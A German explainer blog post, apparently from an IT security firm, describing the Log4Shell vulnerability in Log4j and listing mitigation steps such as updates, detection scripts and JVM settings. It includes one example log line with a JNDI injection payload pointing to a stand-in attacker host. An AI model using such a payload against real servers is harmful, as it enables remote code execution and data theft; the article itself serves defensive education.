Log4shell: Log4j Schwachstelle und Schutzmaßnahmen einfach erklärt

Kaum ein IT-Thema geschweige denn eine Schwachstelle hat die Tagesnachrichten in der Vergangenheit so dominiert wie Log4j. Doch was steckt wirklich hinter der Sicherheitslücke und wie können Sie herausfinden, ob Sie oder Ihr Unternehmen betroffen ist?

Was ist Log4j?

Vor nicht allzu langer Zeit wäre wohl keiner auf die Idee gekommen, Log4j als Synonym für eine Schwachstelle zu verwenden. Das Framework wurde ehemals bei IBM entwickelt und ist seither der De-facto-Standard für die Ausgabe von Lognachrichten in Java-Programmen. Entwickler können Log4j kostenlos in ihre eigene Software einbauen und das Framework als Schnittstelle für eigens definierte Warn- und Fehlermeldungen verwenden.

Der Clou an der Sache ist, dass der Programmierer bei jeder Meldung einen individuellen Rang vergibt (Info, Warnung, Fehler, …) und der Programmbenutzer später über die Einstellungen entscheiden kann, welchen Rang eine Meldung mindestens haben muss, damit sie ihm angezeigt wird. Das ist besonders für große Unternehmen, die eine Vielzahl von Server warten müssen, attraktiv – hier würde jede weniger wichtige Information nur unnötige Arbeit machen. Das Log4j-Framework wurde mittlerweile in anderen Programmiersprache wie .Net und C++ nachgebaut.

Log4shell Sicherheitslücke

Der IT-Sicherheitsdienstleister LunaSec hat im Dezember 2021 eine Sicherheitslücke für Log4j publiziert, die fortan Unternehmen auf der ganzen Welt beschäftigt. Durch ein „Feature“ kann man Code, der auf eine Webserver gespeichert ist, in der Warnmeldung über eine normale URL verlinken. Log4j folgt diesem link und führt den Code lokal aus. Bedenkt man, dass bei dem Loggen von Nutzeraktionen insbesondere Informationen über einen Benutzer mitgeloggt werden (z.B. Benutzername oder der Name des Webbrowsers), dann wird schnell ersichtlich, dass ein Angreifer diese Informationen zu seinem Vorteil manipulieren kann.

Besonders kritisch ist die Schwachstelle bei Servern, welche das Javaframework Log4j verwenden. Der Angreifer kann den Namen des Webbrowser (genannt User-Agent) mittels eines Browser-Addons gegen den Link zu einer maliziösen Code-Datei austauschen und normal im Internet surfen. Verwendet nun ein Webserver Java und loggt den User-Agent, könnte folgende Nachricht ausgegeben werden:

INFO: Request from IP 123.123.123.123 with User-Agent mozilla-${jndi:ldap://attack123.com/codefile}-firefox

Der Code wird dabei von der URL gedownloadet und ausgeführt, wobei ein Angreifer Daten auslesen oder Viren einschleusen könnte.

Kennen Sie schon unsere Services im Bereich der IT-Sicherheit?

Diese Maßnahmen sollten Sie ergreifen

Damit Sie sich vor der Log4j-Schwachstelle schützen, sollten Sie folgende Maßnahmen ergreifen:

  1. Recherchieren Sie zum Beispiel mittels dieser Liste oder in einer Suchmaschine mit dem Suchbegriff Anwendungsname Log4j, ob Ihre Software von der Schwachstelle betroffen ist.
  2. Verwenden Sie ein Script wie den Log4-Detector, welches die installierte Software automatisch auf die Schwachstelle überprüft.
  3. Überprüfen Sie die betroffene Software auf Herstellerupdates, die die Lücke schließen.
  4. Nehmen Sie (wenn möglich) betroffenen Serveranwendungen vom Netz.
  5. Blockieren Sie das Öffnen der Links durch die JVM-Einstellungen:
    1. com.sun.jndi.ldap.object.trustURLCodebase = false
    2. log4j2.formatMsgNoLookups = true
  6. Setzen Sie die minimale Rechtevergabe um.
  7. Installieren Sie einen angemessenen Virenschutz und eine Web Application Firewall.